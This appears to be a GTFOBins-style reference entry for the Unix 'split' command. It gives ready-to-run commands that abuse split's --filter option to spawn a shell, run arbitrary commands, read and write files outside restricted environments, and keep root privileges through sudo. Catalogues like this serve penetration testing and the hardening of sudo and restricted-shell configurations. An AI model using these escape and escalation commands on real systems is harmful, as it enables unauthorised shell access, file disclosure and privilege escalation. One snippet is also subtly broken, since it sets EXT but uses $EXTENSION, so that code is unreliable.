.. / split

Shell

It can be used to break out from restricted environments by spawning an interactive system shell.

The shell prompt is not printed.
```
split --filter=/bin/sh /dev/stdin
```

Command

It can be used to break out from restricted environments by running non-interactive system commands.

Command execution using an existing or newly created file.
```
COMMAND=id
TF=$(mktemp)
split --filter=$COMMAND $TF
```
Command execution using stdin (and close it directly).
```
COMMAND=id
echo | split --filter=$COMMAND /dev/stdin
```

File write

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system.

Data will be written in the current directory in a file named xaa by default. The input file will be split in multiple smaller files unless the -b option is used, pick a value in MB big enough.
```
TF=$(mktemp)
echo DATA >$TF
split -b999m $TF
```
GNU version only. Data will be written in the current directory in a file named xaa.xxx by default. The input file will be split in multiple smaller files unless the -b option is used, pick a value in MB big enough.
```
EXT=.xxx
TF=$(mktemp)
echo DATA >$TF
split -b999m --additional-suffix $EXTENSION $TF
```

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

LFILE=file_to_read
TF=$(mktemp)
split $LFILE $TF
cat $TF*

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

The shell prompt is not printed.
```
sudo split --filter=/bin/sh /dev/stdin
```